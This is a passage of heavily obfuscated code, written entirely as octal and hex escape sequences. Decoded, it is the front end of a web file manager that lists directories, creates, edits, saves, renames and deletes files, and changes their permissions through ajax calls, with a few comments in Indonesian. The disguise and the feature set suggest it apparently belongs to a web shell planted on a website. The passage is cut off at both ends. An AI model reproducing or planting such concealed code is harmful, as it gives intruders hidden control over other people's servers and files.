\x2c\40\47\x24\x7b\146\151\154\x65\x2e\x74\171\x70\x65\x7d\47\54\x20\47\x24\173\146\151\154\145\56\156\141\155\145\x7d\47\x29\x22\76\104\145\154\x65\x74\145\x3c\x2f\142\x75\164\x74\x6f\156\76\15\xa\40\40\x20\x20\40\x20\40\40\40\x20\40\x20\x20\x20\x20\x20\x20\40\x20\x20\40\40\40\x20\74\57\x64\x69\166\x3e\15\xa\x20\40\40\40\40\x20\40\40\x20\x20\40\x20\40\40\40\x20\x20\x20\40\x20\x3c\57\x74\144\76\15\xa\40\40\x20\x20\40\40\40\40\x20\x20\x20\40\x20\40\40\x20\x3c\x2f\164\x72\x3e\140\x3b\xd\12\x20\40\x20\40\40\40\x20\x20\40\40\x20\x20\x7d\51\73\15\12\x20\x20\x20\40\x20\x20\x20\40\40\40\40\x20\15\xa\40\40\40\x20\40\x20\x20\40\x20\40\x20\x20\144\x6f\x63\165\x6d\x65\x6e\164\56\x67\145\164\x45\x6c\145\x6d\145\156\164\x42\171\x49\x64\50\47\x66\x69\x6c\x65\114\x69\x73\164\47\x29\x2e\x69\156\156\145\162\x48\x54\115\114\40\x3d\40\x68\x74\x6d\154\40\x7c\x7c\x20\x27\74\x74\x72\x3e\74\164\144\x20\x63\x6f\154\x73\x70\141\156\75\42\65\42\x20\x73\164\x79\x6c\x65\75\42\x74\145\170\x74\x2d\141\154\151\147\x6e\72\143\x65\156\x74\145\x72\73\42\x3e\116\x6f\40\146\151\154\x65\163\74\x2f\x74\x64\76\x3c\x2f\x74\x72\x3e\47\x3b\15\12\40\40\40\x20\40\x20\40\40\175\xd\xa\xd\12\x20\40\x20\x20\x20\x20\40\40\x66\165\156\143\x74\x69\157\x6e\40\x6e\141\x76\x69\147\141\164\x65\x28\x70\141\164\150\x29\x20\173\15\xa\x20\40\40\x20\40\x20\x20\x20\x20\x20\40\x20\x63\x75\x72\x72\145\156\x74\120\141\164\x68\x20\75\40\160\141\x74\x68\73\xd\12\40\40\x20\40\x20\40\x20\40\40\x20\x20\x20\x6c\x6f\141\144\x46\x69\154\145\163\50\51\73\xd\xa\x20\40\x20\x20\x20\40\x20\x20\x7d\xd\xa\15\xa\40\x20\x20\40\x20\40\x20\x20\146\x75\x6e\x63\164\151\157\156\x20\x73\x68\x6f\167\103\x72\x65\x61\164\x65\x46\x69\x6c\145\50\51\40\173\15\xa\x20\40\x20\40\x20\x20\40\x20\40\40\x20\x20\157\x70\145\x6e\x4d\x6f\144\141\x6c\50\140\xd\12\40\40\x20\40\x20\40\40\x20\x20\x20\40\40\40\40\40\x20\x3c\x68\62\x3e\x43\162\145\141\164\x65\40\116\145\167\40\106\151\154\x65\x3c\x2f\x68\62\x3e\15\xa\40\40\x20\40\40\40\40\x20\x20\x20\x20\40\40\40\40\x20\x3c\x69\156\x70\165\x74\40\x74\x79\x70\145\x3d\x22\x74\145\170\164\x22\40\x69\144\75\x22\x66\x69\154\145\116\141\x6d\145\x22\x20\x70\154\141\x63\x65\x68\157\154\x64\145\162\75\42\106\151\x6c\x65\x20\156\141\x6d\145\x22\x3e\15\12\x20\40\x20\40\x20\x20\40\x20\40\x20\x20\x20\x20\40\x20\40\74\164\x65\x78\164\141\162\145\141\x20\x69\144\x3d\42\x66\x69\154\145\x43\x6f\x6e\x74\x65\x6e\x74\x22\40\x70\x6c\141\143\x65\150\157\x6c\x64\x65\x72\x3d\x22\106\151\x6c\x65\x20\143\157\x6e\x74\145\x6e\164\40\50\157\x70\164\x69\x6f\x6e\x61\154\x29\x22\x3e\74\57\x74\145\x78\x74\141\x72\145\x61\x3e\xd\xa\40\40\40\40\x20\40\40\40\x20\40\x20\40\40\x20\x20\x20\x3c\x62\165\164\x74\x6f\156\x20\x63\x6c\x61\x73\x73\75\42\142\164\x6e\x22\40\x6f\x6e\x63\x6c\151\x63\x6b\x3d\42\x63\162\x65\141\x74\x65\x46\x69\154\x65\50\51\42\76\x43\x72\x65\x61\x74\145\x3c\x2f\x62\x75\164\164\157\156\76\15\12\40\40\40\x20\x20\40\40\x20\x20\x20\x20\40\140\x29\73\15\12\x20\40\x20\40\40\40\x20\40\175\xd\xa\15\xa\x20\40\40\40\40\x20\x20\x20\146\x75\x6e\x63\164\x69\157\156\x20\143\162\145\x61\x74\145\x46\151\154\145\x28\51\40\173\xd\xa\x20\40\x20\40\40\40\x20\x20\x20\40\x20\x20\143\157\156\x73\x74\x20\x6e\x61\155\x65\x20\x3d\x20\x64\157\x63\165\x6d\x65\x6e\x74\56\147\x65\x74\x45\x6c\145\x6d\x65\x6e\x74\x42\x79\x49\x64\x28\x27\x66\x69\x6c\x65\116\x61\x6d\145\47\51\56\x76\141\x6c\x75\x65\x3b\15\xa\40\40\x20\40\x20\40\40\40\40\x20\40\40\x63\157\x6e\x73\x74\40\x63\157\156\164\145\x6e\164\x20\75\x20\144\157\x63\165\x6d\x65\x6e\164\56\147\145\x74\105\x6c\x65\x6d\x65\156\164\102\x79\x49\x64\x28\x27\x66\151\x6c\x65\x43\157\x6e\x74\x65\x6e\164\x27\x29\x2e\x76\x61\154\165\x65\x3b\xd\xa\x20\x20\40\40\x20\x20\x20\x20\x20\x20\40\40\15\12\40\x20\40\x20\x20\x20\40\40\x20\40\x20\x20\151\x66\x20\x28\x21\x6e\141\x6d\145\51\x20\173\xd\12\40\x20\x20\40\40\40\40\40\40\x20\40\40\40\x20\x20\x20\x73\x68\x6f\167\120\157\160\165\x70\x28\x27\x46\x69\x6c\145\x20\x6e\141\155\x65\x20\151\163\x20\x72\x65\x71\x75\151\x72\145\x64\x27\x2c\x20\47\x65\x72\x72\x6f\162\x27\x29\73\xd\xa\40\40\40\x20\40\x20\x20\40\x20\40\x20\40\40\x20\x20\x20\x72\x65\164\165\162\156\x3b\xd\xa\40\x20\x20\40\40\40\x20\x20\x20\x20\x20\40\x7d\xd\12\40\40\x20\x20\x20\40\x20\40\40\40\x20\x20\15\xa\40\40\x20\40\40\x20\40\40\x20\x20\40\x20\141\x6a\x61\170\x28\x27\x63\x72\x65\x61\164\x65\137\x66\x69\154\145\47\x2c\x20\x7b\40\x70\x61\164\150\x3a\40\x63\x75\x72\162\x65\156\x74\x50\141\164\150\54\40\x6e\141\155\145\72\40\x6e\x61\x6d\x65\54\x20\143\157\156\164\x65\156\164\72\x20\143\x6f\x6e\x74\x65\156\164\x20\x7d\54\40\x66\x75\156\x63\x74\x69\157\x6e\50\x72\145\163\x70\157\156\163\145\51\40\x7b\xd\12\40\x20\x20\x20\40\x20\x20\40\x20\x20\40\40\x20\40\40\40\163\x68\x6f\x77\120\157\160\x75\160\x28\162\145\x73\x70\x6f\156\x73\145\56\x6d\145\x73\163\141\x67\145\x2c\x20\162\x65\x73\160\x6f\156\163\x65\56\x73\165\143\x63\145\163\163\x20\77\x20\x27\163\x75\x63\x63\145\163\x73\x27\40\72\x20\47\145\162\162\x6f\x72\47\51\73\15\12\40\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\40\x20\x20\x20\151\146\40\x28\x72\x65\x73\x70\x6f\156\x73\145\56\163\165\x63\143\145\163\163\51\40\x7b\15\12\40\40\40\40\x20\40\40\x20\x20\x20\x20\x20\40\x20\40\40\x20\x20\x20\x20\x63\154\157\x73\145\x4d\x6f\x64\x61\x6c\50\51\x3b\15\xa\x20\x20\x20\x20\40\x20\40\x20\x20\x20\40\40\x20\x20\x20\x20\40\40\x20\x20\154\157\x61\144\106\151\x6c\x65\x73\50\51\x3b\xd\xa\40\40\x20\40\40\x20\x20\x20\x20\x20\x20\40\40\40\40\x20\175\xd\12\x20\x20\40\x20\40\x20\40\40\40\40\x20\x20\175\x29\x3b\xd\12\x20\x20\40\x20\x20\40\40\40\x7d\15\xa\xd\12\40\x20\40\x20\40\40\x20\x20\x66\x75\x6e\x63\x74\151\x6f\156\x20\x73\x68\x6f\x77\x43\162\145\141\x74\x65\106\157\154\x64\145\162\x28\x29\40\x7b\15\xa\x20\x20\x20\40\40\x20\40\40\x20\x20\x20\40\x6f\160\145\x6e\x4d\157\144\x61\154\x28\140\xd\xa\40\x20\x20\40\40\40\40\40\x20\x20\40\40\40\40\40\40\x3c\x68\62\x3e\103\x72\145\141\x74\x65\40\116\145\x77\40\106\x6f\154\144\x65\x72\74\x2f\150\62\76\15\xa\40\40\40\x20\x20\40\40\40\40\40\40\40\40\40\x20\40\74\x69\x6e\x70\165\164\40\x74\171\160\x65\x3d\x22\164\145\170\x74\42\x20\151\144\75\x22\146\157\154\x64\145\x72\x4e\141\155\145\42\x20\x70\154\141\x63\x65\x68\x6f\x6c\x64\145\x72\75\x22\106\157\154\144\145\x72\40\156\141\155\145\x22\76\xd\xa\x20\40\x20\x20\x20\40\x20\x20\40\40\x20\40\x20\x20\40\x20\74\142\x75\x74\164\157\156\40\143\x6c\141\163\x73\x3d\x22\x62\164\x6e\x22\x20\x6f\156\143\154\151\143\153\75\42\143\162\x65\141\164\145\x46\x6f\x6c\144\x65\162\50\51\42\x3e\103\162\145\x61\x74\x65\x3c\x2f\142\165\x74\x74\157\156\76\15\12\40\x20\x20\x20\40\40\x20\40\x20\40\x20\x20\x60\51\x3b\15\xa\x20\40\x20\40\40\40\40\40\x7d\15\12\xd\12\40\40\40\40\40\x20\40\x20\x66\x75\156\143\164\151\x6f\x6e\40\143\162\x65\141\164\145\x46\157\154\x64\145\x72\x28\x29\x20\173\15\xa\40\x20\40\40\x20\x20\x20\x20\40\40\40\40\143\x6f\156\x73\164\40\x6e\141\155\x65\x20\x3d\x20\144\x6f\x63\x75\x6d\x65\156\164\x2e\x67\145\x74\105\154\145\155\x65\156\x74\102\x79\111\144\x28\x27\x66\x6f\154\144\x65\x72\116\141\155\145\x27\x29\56\x76\x61\154\x75\x65\73\xd\xa\40\x20\x20\x20\x20\x20\40\40\40\40\x20\x20\xd\xa\x20\40\40\x20\x20\x20\40\40\x20\x20\40\40\x69\146\40\50\41\156\141\155\145\x29\x20\x7b\xd\xa\x20\40\40\x20\x20\40\40\40\40\40\40\x20\x20\40\x20\x20\x73\x68\x6f\x77\x50\x6f\160\x75\x70\x28\47\106\157\154\144\145\x72\40\156\141\x6d\145\40\x69\163\40\x72\x65\161\165\151\x72\145\x64\x27\x2c\x20\x27\x65\162\x72\x6f\162\x27\x29\73\15\12\x20\x20\40\x20\x20\x20\40\40\x20\x20\40\x20\40\40\x20\x20\x72\x65\164\x75\162\x6e\73\15\12\x20\x20\40\40\40\x20\x20\40\x20\40\x20\x20\175\xd\xa\x20\x20\x20\40\x20\40\x20\40\40\40\40\40\15\xa\40\x20\40\40\x20\40\40\x20\x20\40\40\40\141\152\141\170\50\47\x63\x72\x65\x61\x74\x65\x5f\146\x6f\x6c\144\145\162\x27\x2c\x20\173\40\160\x61\164\x68\x3a\x20\x63\165\x72\162\x65\156\x74\120\x61\164\150\x2c\40\x6e\x61\155\x65\x3a\x20\x6e\141\155\145\40\175\x2c\40\x66\165\x6e\x63\x74\x69\157\156\x28\x72\145\163\160\157\x6e\x73\145\x29\40\x7b\15\xa\40\40\40\x20\x20\40\40\40\x20\40\x20\40\40\40\x20\40\x73\x68\x6f\167\x50\157\x70\x75\160\x28\162\145\x73\160\157\156\163\x65\56\x6d\x65\163\x73\141\147\x65\x2c\x20\162\145\x73\x70\x6f\x6e\x73\x65\56\x73\x75\143\143\145\163\163\x20\x3f\40\47\163\165\x63\143\145\163\163\47\40\72\40\47\x65\x72\x72\x6f\162\47\51\73\xd\12\x20\x20\x20\x20\40\40\40\40\40\x20\x20\40\x20\40\x20\x20\151\x66\x20\50\x72\145\x73\160\157\x6e\163\145\56\163\165\x63\143\145\x73\x73\x29\x20\173\15\12\40\x20\x20\40\40\40\40\x20\40\x20\40\40\x20\x20\x20\x20\x20\x20\40\40\x63\154\x6f\163\145\x4d\x6f\x64\141\x6c\50\x29\x3b\15\12\x20\40\40\x20\x20\40\x20\x20\x20\40\40\40\x20\40\x20\x20\x20\40\40\40\x6c\157\141\x64\106\x69\154\145\163\50\51\x3b\xd\12\40\x20\40\40\40\40\40\x20\x20\x20\x20\x20\40\x20\x20\x20\175\15\12\40\40\40\x20\x20\40\40\40\x20\x20\40\x20\175\51\73\xd\xa\40\x20\x20\x20\40\x20\40\x20\175\xd\xa\15\xa\40\40\x20\x20\x20\40\40\x20\x66\165\156\143\x74\151\157\156\40\x65\x64\151\x74\106\x69\154\145\x28\x70\x61\x74\x68\51\40\173\15\xa\40\x20\40\x20\141\x6a\141\170\x28\x27\x72\145\141\144\137\x66\x69\x6c\x65\47\x2c\x20\173\x20\x70\x61\164\x68\72\40\x70\x61\164\x68\x20\x7d\54\x20\x66\165\156\143\x74\151\157\x6e\50\162\145\163\x70\157\156\163\145\x29\40\173\15\xa\x20\x20\40\x20\x20\40\x20\x20\151\x66\40\50\162\145\x73\x70\157\156\163\145\56\x73\x75\143\x63\145\x73\163\51\40\173\15\xa\40\x20\40\x20\40\x20\40\x20\x20\x20\40\40\x2f\x2f\40\61\56\40\x42\165\153\141\x20\x6d\x6f\144\x61\154\40\144\x65\156\x67\141\x6e\x20\x74\x65\170\x74\141\162\145\x61\40\x4b\x4f\x53\x4f\x4e\x47\x20\x64\165\154\165\xd\xa\40\40\x20\40\40\x20\x20\x20\40\x20\40\40\157\160\x65\156\x4d\157\144\141\154\50\x60\15\xa\x20\40\40\40\40\40\x20\x20\x20\40\40\x20\x20\40\40\40\x3c\150\x32\x3e\105\144\x69\x74\40\x46\151\x6c\x65\74\57\x68\62\x3e\15\12\x20\40\x20\x20\40\x20\40\x20\40\40\x20\x20\x20\40\x20\40\74\160\x20\163\x74\x79\154\x65\x3d\42\x63\157\154\x6f\162\x3a\x20\x23\x38\x30\70\60\x61\x30\73\x20\x66\x6f\156\x74\x2d\x73\151\172\145\x3a\40\x30\x2e\70\x35\x72\x65\x6d\73\40\x6d\141\x72\x67\151\156\55\142\157\x74\x74\157\x6d\72\x20\61\60\160\x78\x3b\42\76\x24\x7b\160\x61\x74\x68\175\74\57\160\76\15\xa\40\40\x20\40\x20\x20\x20\40\x20\x20\40\40\40\40\x20\40\x3c\164\x65\170\x74\141\162\x65\141\40\151\x64\75\x22\x65\144\151\164\103\157\x6e\164\145\156\164\42\76\74\57\x74\145\x78\164\141\x72\145\x61\x3e\15\xa\40\40\40\40\40\40\x20\x20\40\x20\x20\40\40\x20\40\x20\x3c\x62\165\x74\164\x6f\x6e\40\143\x6c\x61\x73\163\75\x22\x62\164\156\42\40\x6f\x6e\143\154\x69\x63\153\75\42\163\141\166\x65\106\151\x6c\x65\x28\47\44\x7b\160\x61\x74\150\x7d\47\51\42\76\x53\x61\166\x65\x3c\57\142\x75\x74\x74\x6f\156\76\xd\12\40\40\40\x20\40\40\x20\40\x20\x20\x20\x20\140\51\73\xd\xa\15\12\40\x20\x20\40\x20\x20\x20\40\x20\40\40\40\57\57\40\x32\56\x20\102\141\162\x75\x20\x69\x73\x69\x20\156\x69\x6c\x61\151\40\164\x65\170\164\x61\162\x65\x61\40\154\x65\x77\141\164\40\56\x76\141\x6c\165\x65\40\x28\102\125\113\x41\116\40\151\x6e\156\145\162\x48\124\115\x4c\51\15\12\x20\40\40\x20\40\40\x20\x20\40\40\x20\x20\x63\x6f\156\x73\x74\x20\x74\145\x78\164\x61\162\145\x61\x20\75\x20\144\157\x63\x75\155\x65\156\x74\x2e\x67\x65\164\x45\x6c\x65\x6d\145\x6e\x74\102\171\x49\144\50\x27\x65\144\151\164\x43\157\156\164\145\x6e\x74\x27\51\73\xd\xa\40\40\40\40\40\40\x20\40\40\x20\40\x20\151\146\x20\50\164\x65\x78\x74\x61\x72\145\x61\51\40\x7b\xd\12\40\40\x20\x20\40\x20\40\40\x20\40\x20\40\x20\40\40\40\164\145\x78\x74\141\162\145\141\x2e\x76\141\x6c\165\145\40\x3d\40\x72\x65\163\160\157\x6e\163\145\56\143\157\x6e\164\x65\156\x74\x3b\15\xa\x20\40\x20\40\40\40\x20\x20\x20\40\x20\x20\175\xd\xa\x20\x20\40\x20\x20\40\40\x20\x7d\40\x65\x6c\x73\x65\x20\x7b\15\xa\x20\40\40\40\x20\40\x20\x20\40\40\40\x20\163\x68\x6f\x77\x50\157\x70\x75\x70\x28\x72\x65\x73\160\x6f\x6e\163\x65\x2e\x6d\x65\163\163\141\x67\x65\x2c\40\47\145\162\162\157\162\x27\x29\x3b\xd\xa\x20\40\x20\x20\40\x20\x20\40\175\15\xa\40\x20\40\40\x7d\51\x3b\15\xa\x7d\xd\12\15\xa\xd\12\40\x20\x20\x20\x20\x20\x20\40\x66\x75\156\x63\x74\151\x6f\156\40\163\141\x76\145\x46\151\x6c\x65\50\x70\x61\x74\x68\51\40\x7b\xd\xa\40\x20\40\x20\x20\40\40\40\x20\x20\x20\x20\x63\x6f\156\163\x74\40\143\x6f\x6e\x74\145\x6e\x74\x20\75\40\144\x6f\x63\165\155\145\156\164\56\x67\x65\x74\105\x6c\x65\155\145\156\x74\x42\x79\111\x64\x28\47\x65\x64\151\x74\103\157\156\x74\145\x6e\164\47\51\x2e\x76\x61\x6c\165\145\73\xd\xa\40\40\x20\x20\40\40\40\40\40\x20\x20\40\xd\xa\x20\40\x20\x20\x20\x20\x20\40\40\x20\40\40\141\x6a\x61\x78\50\47\x73\x61\x76\x65\x5f\x66\x69\x6c\145\47\54\40\x7b\40\160\x61\164\x68\x3a\x20\x70\x61\164\150\x2c\40\x63\x6f\156\x74\x65\x6e\x74\72\40\143\157\156\x74\x65\156\164\x20\x7d\54\40\x66\165\156\143\164\151\157\x6e\x28\x72\x65\163\x70\x6f\x6e\x73\145\51\40\173\xd\xa\40\40\x20\40\40\x20\40\x20\x20\x20\x20\x20\40\40\40\x20\x73\x68\157\x77\120\x6f\160\x75\160\50\x72\145\163\x70\x6f\x6e\x73\x65\56\155\145\163\x73\141\x67\145\x2c\40\162\x65\x73\x70\x6f\x6e\163\145\x2e\x73\x75\143\143\x65\x73\x73\40\77\40\47\163\165\143\143\145\163\x73\47\40\72\40\x27\x65\x72\162\x6f\162\x27\x29\73\15\12\40\x20\40\40\x20\x20\40\x20\x20\x20\40\40\x20\x20\40\x20\151\x66\x20\x28\162\x65\163\x70\x6f\156\163\145\56\x73\165\x63\143\x65\x73\163\x29\x20\x7b\15\xa\40\x20\x20\x20\x20\x20\x20\40\40\40\40\40\40\x20\x20\x20\x20\x20\40\40\143\x6c\x6f\x73\145\x4d\x6f\x64\x61\154\x28\x29\x3b\15\12\40\40\x20\x20\40\40\40\40\40\40\40\x20\40\x20\40\40\x20\40\x20\x20\154\157\x61\144\106\x69\x6c\145\163\x28\x29\73\xd\12\40\x20\40\40\x20\40\x20\x20\40\40\40\40\x20\40\x20\x20\175\15\12\40\40\40\40\40\40\x20\40\x20\40\x20\x20\x7d\x29\73\15\xa\40\40\40\40\x20\40\40\40\x7d\15\xa\15\xa\40\40\x20\x20\x20\x20\40\40\146\165\x6e\x63\x74\151\157\x6e\x20\163\x68\x6f\x77\122\145\156\141\155\x65\50\x6f\154\144\x50\x61\x74\150\x2c\40\x6f\154\x64\x4e\141\x6d\x65\x29\x20\173\xd\xa\40\x20\x20\x20\40\40\x20\40\40\40\x20\x20\x6f\160\145\156\x4d\x6f\144\141\x6c\50\x60\xd\xa\x20\x20\40\40\x20\40\x20\40\x20\40\x20\40\40\x20\x20\x20\x3c\150\62\x3e\122\145\156\141\x6d\145\x3c\x2f\x68\62\x3e\xd\xa\40\40\x20\40\40\40\40\40\x20\40\x20\40\40\x20\40\40\74\160\40\x73\164\171\154\145\75\42\143\157\154\157\162\72\40\43\x38\60\70\60\141\x30\73\40\146\x6f\156\164\55\x73\x69\172\x65\72\40\60\56\70\65\162\x65\155\73\40\155\x61\162\x67\x69\x6e\55\142\157\x74\x74\x6f\x6d\72\x20\x31\x30\x70\x78\73\42\76\103\165\162\162\x65\156\x74\72\x20\x24\173\x6f\x6c\x64\x4e\x61\155\x65\x7d\x3c\57\160\76\xd\xa\x20\40\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\x3c\151\x6e\x70\165\164\x20\164\x79\x70\x65\x3d\42\x74\x65\170\x74\42\x20\151\144\75\x22\156\145\x77\116\x61\155\x65\x22\40\x70\154\141\x63\145\x68\x6f\x6c\144\x65\x72\x3d\42\x4e\145\x77\x20\156\141\155\145\x22\x20\166\x61\x6c\165\x65\75\42\44\x7b\x6f\154\144\x4e\x61\x6d\145\175\x22\x3e\xd\12\x20\40\40\x20\x20\40\40\40\40\x20\x20\x20\x20\x20\x20\x20\x3c\142\165\164\164\157\x6e\40\143\x6c\141\163\x73\75\42\x62\164\x6e\x22\40\x6f\156\x63\154\x69\x63\x6b\75\x22\x72\x65\156\141\155\145\111\164\x65\155\x28\47\44\173\x6f\x6c\144\120\x61\164\x68\x7d\x27\x29\42\x3e\122\x65\156\x61\x6d\145\74\x2f\x62\165\x74\x74\x6f\156\x3e\15\12\40\40\40\40\x20\x20\40\40\x20\x20\x20\x20\x60\x29\x3b\15\xa\x20\x20\40\40\x20\40\x20\x20\x7d\xd\12\xd\xa\40\40\40\40\x20\x20\40\40\146\165\156\143\x74\x69\157\156\x20\x72\x65\156\x61\155\x65\111\164\145\x6d\x28\157\x6c\144\120\x61\x74\150\x29\40\x7b\15\12\40\40\x20\40\x20\x20\40\40\40\40\40\x20\x63\x6f\x6e\163\164\x20\156\x65\x77\x4e\x61\x6d\x65\x20\75\40\x64\157\x63\x75\155\145\x6e\164\56\x67\x65\x74\105\x6c\145\x6d\145\x6e\x74\x42\171\111\144\50\47\156\145\167\116\x61\x6d\145\47\51\x2e\x76\141\x6c\165\x65\73\15\xa\x20\x20\40\x20\40\x20\x20\x20\40\x20\x20\x20\xd\xa\x20\x20\40\40\40\40\x20\40\40\40\40\40\x69\x66\x20\x28\41\156\145\167\116\x61\155\145\x29\40\173\15\xa\40\x20\x20\40\40\40\x20\40\40\40\x20\x20\40\x20\40\x20\163\150\157\167\x50\x6f\x70\x75\160\50\x27\x4e\x65\x77\x20\156\141\155\x65\x20\x69\163\40\162\145\x71\x75\151\x72\145\144\47\x2c\x20\x27\145\x72\162\157\162\47\51\73\xd\xa\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\40\x20\40\x20\x20\40\162\145\164\165\162\156\73\15\12\40\x20\40\x20\x20\40\40\40\40\x20\40\40\175\15\xa\x20\40\40\x20\40\x20\40\x20\x20\x20\40\40\15\12\40\x20\x20\40\x20\x20\40\40\x20\40\x20\40\141\x6a\141\170\x28\x27\162\x65\156\x61\x6d\145\x27\54\40\x7b\x20\157\154\x64\x50\141\164\150\x3a\40\x6f\x6c\144\x50\x61\164\x68\x2c\40\156\x65\x77\x4e\141\x6d\x65\x3a\40\x6e\145\x77\116\x61\155\145\x20\175\x2c\x20\146\x75\156\x63\x74\151\x6f\x6e\x28\x72\x65\x73\x70\x6f\x6e\x73\145\51\40\173\15\xa\x20\40\40\40\x20\x20\x20\40\40\40\40\40\40\x20\x20\x20\x73\150\157\x77\x50\157\x70\165\x70\x28\162\145\163\160\157\156\x73\x65\x2e\x6d\145\x73\163\141\x67\145\54\40\162\x65\x73\x70\157\156\x73\145\56\x73\x75\143\143\145\163\163\40\x3f\40\x27\x73\165\143\x63\145\x73\163\x27\x20\72\40\47\145\x72\162\157\162\47\x29\x3b\15\xa\x20\x20\x20\40\40\40\40\40\40\x20\40\x20\40\40\x20\x20\151\146\x20\x28\x72\x65\163\160\157\x6e\163\145\56\163\x75\x63\x63\145\163\163\x29\x20\x7b\15\12\40\40\40\40\40\x20\40\x20\x20\40\x20\40\40\x20\40\40\40\x20\x20\40\143\x6c\157\163\x65\x4d\x6f\144\x61\x6c\x28\51\x3b\xd\12\40\40\40\x20\40\x20\40\x20\40\x20\40\x20\40\x20\40\x20\x20\x20\40\40\x6c\157\x61\144\x46\151\154\145\163\x28\51\x3b\15\12\x20\40\40\x20\x20\x20\40\40\40\x20\40\x20\x20\40\x20\x20\x7d\xd\12\x20\40\x20\x20\x20\40\x20\x20\x20\40\40\40\175\x29\x3b\15\xa\x20\40\40\40\40\40\x20\40\175\xd\12\xd\12\40\40\x20\40\x20\40\40\40\x66\165\x6e\143\x74\x69\157\x6e\40\143\157\x6e\146\x69\162\x6d\104\x65\x6c\x65\x74\x65\50\x70\x61\164\x68\x2c\x20\164\171\x70\145\x2c\x20\x6e\141\155\x65\51\40\x7b\xd\12\x20\40\40\40\40\x20\x20\x20\40\x20\x20\x20\x6f\160\145\x6e\x4d\157\144\x61\154\50\x60\15\xa\x20\x20\40\40\40\40\40\40\40\40\40\40\40\x20\40\40\74\x64\x69\166\x20\x63\154\141\x73\x73\75\42\143\157\156\x66\x69\x72\155\55\155\x6f\144\141\154\42\x3e\15\xa\40\40\40\40\40\40\x20\40\40\40\40\x20\40\40\x20\40\x20\x20\40\x20\x3c\x68\62\76\103\x6f\156\146\151\x72\155\40\104\x65\x6c\x65\164\145\x3c\57\150\x32\76\xd\xa\x20\40\x20\x20\40\40\x20\x20\x20\40\x20\40\40\x20\40\x20\40\40\x20\40\x3c\160\76\x41\162\145\40\x79\157\x75\40\x73\165\162\145\x20\171\x6f\x75\40\x77\x61\156\x74\40\x74\157\x20\x64\145\154\x65\x74\x65\40\164\x68\x69\x73\40\x24\x7b\164\x79\x70\145\175\77\x3c\57\x70\x3e\15\xa\40\x20\40\40\x20\40\x20\40\x20\40\x20\x20\x20\x20\x20\40\40\x20\40\40\74\x70\x20\163\x74\171\154\145\x3d\x22\143\157\154\157\x72\72\40\43\146\x66\66\142\66\x62\x3b\x20\146\x6f\156\x74\55\167\145\x69\x67\x68\164\x3a\40\x36\x30\x30\73\42\76\44\x7b\x6e\141\x6d\x65\175\74\x2f\x70\76\xd\xa\40\40\40\40\x20\40\40\40\x20\x20\x20\40\40\40\x20\40\40\40\x20\40\74\x64\151\166\x20\x63\x6c\141\x73\x73\75\42\142\x74\x6e\x2d\x67\x72\x6f\x75\160\x22\76\xd\xa\40\40\40\40\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\x20\x20\40\40\x20\x20\40\40\x3c\142\165\x74\x74\x6f\156\x20\x63\154\x61\x73\x73\75\42\142\x74\x6e\42\x20\157\x6e\x63\x6c\151\143\153\75\x22\143\x6c\x6f\163\x65\115\x6f\144\141\154\x28\x29\42\76\103\141\x6e\x63\x65\154\x3c\x2f\142\165\164\164\x6f\x6e\76\xd\xa\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\x20\x20\x20\x20\x20\40\x20\40\x20\x20\40\x20\x3c\x62\x75\164\164\x6f\x6e\x20\x63\154\x61\163\x73\75\x22\x62\164\156\40\142\164\156\x2d\x64\141\156\x67\x65\x72\42\x20\x6f\x6e\143\154\x69\143\x6b\75\42\x64\x65\x6c\x65\164\x65\111\x74\x65\155\50\47\44\x7b\160\x61\164\x68\x7d\47\51\42\x3e\x44\x65\154\x65\x74\x65\74\x2f\x62\x75\164\x74\x6f\x6e\x3e\15\12\x20\40\x20\40\x20\x20\40\x20\40\x20\40\40\40\40\x20\40\x20\40\40\x20\74\x2f\x64\151\166\76\xd\12\x20\x20\40\x20\x20\x20\40\x20\40\x20\40\40\40\40\40\40\x3c\x2f\144\151\166\76\xd\xa\40\x20\x20\x20\40\40\40\40\x20\x20\40\40\x60\x29\73\xd\xa\x20\x20\40\x20\40\x20\40\x20\175\xd\12\xd\12\40\40\x20\x20\40\40\x20\40\x66\x75\156\143\164\151\157\156\40\x64\x65\154\145\164\x65\x49\164\145\x6d\x28\x70\141\164\x68\51\x20\173\15\12\x20\40\x20\x20\x20\x20\40\40\x20\40\x20\x20\141\x6a\x61\170\50\47\x64\x65\154\145\164\145\47\54\40\173\40\160\141\164\x68\x3a\40\x70\x61\164\x68\x20\x7d\54\x20\146\x75\x6e\x63\164\151\x6f\x6e\50\x72\x65\x73\160\157\x6e\x73\145\x29\40\173\15\12\40\x20\x20\40\40\x20\x20\40\40\x20\x20\40\x20\40\40\x20\x73\150\157\167\x50\157\160\165\x70\50\162\145\x73\x70\x6f\x6e\163\x65\56\x6d\x65\163\163\x61\x67\145\54\x20\162\145\163\160\x6f\x6e\x73\x65\56\163\165\x63\x63\x65\163\163\40\x3f\40\x27\163\x75\x63\143\145\x73\163\47\40\x3a\40\47\145\x72\162\157\x72\x27\x29\x3b\xd\xa\x20\x20\40\40\40\40\x20\x20\x20\40\x20\40\x20\x20\x20\40\151\x66\40\50\x72\x65\x73\160\157\156\163\145\56\x73\x75\x63\143\145\x73\163\x29\x20\x7b\15\xa\x20\x20\40\40\40\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\x20\40\x20\40\143\154\x6f\163\x65\115\x6f\144\x61\x6c\50\x29\x3b\15\12\x20\x20\x20\x20\x20\40\x20\x20\40\40\40\40\40\x20\x20\40\40\x20\x20\40\x6c\157\x61\x64\x46\151\x6c\x65\x73\x28\x29\73\xd\xa\40\x20\x20\x20\x20\x20\x20\40\x20\40\40\x20\40\40\x20\x20\175\15\12\40\40\x20\40\x20\40\40\x20\x20\x20\x20\40\x7d\x29\73\15\12\x20\x20\40\x20\x20\40\40\40\x7d\15\xa\15\xa\x20\40\x20\x20\x20\40\x20\40\x66\165\x6e\143\164\x69\157\x6e\40\x73\x68\157\167\x43\150\x6d\x6f\144\50\160\141\x74\150\54\x20\x63\x75\162\x72\145\x6e\164\51\40\173\15\xa\x20\40\x20\x20\40\40\40\x20\40\40\40\x20\x6f\x70\145\156\x4d\157\x64\141\154\50\140\xd\12\x20\x20\40\40\40\x20\40\40\40\40\40\x20\x20\x20\x20\x20\74\150\x32\76\103\150\x61\156\147\145\x20\120\x65\x72\x6d\151\163\x73\x69\157\x6e\x3c\57\x68\62\76\xd\12\x20\40\x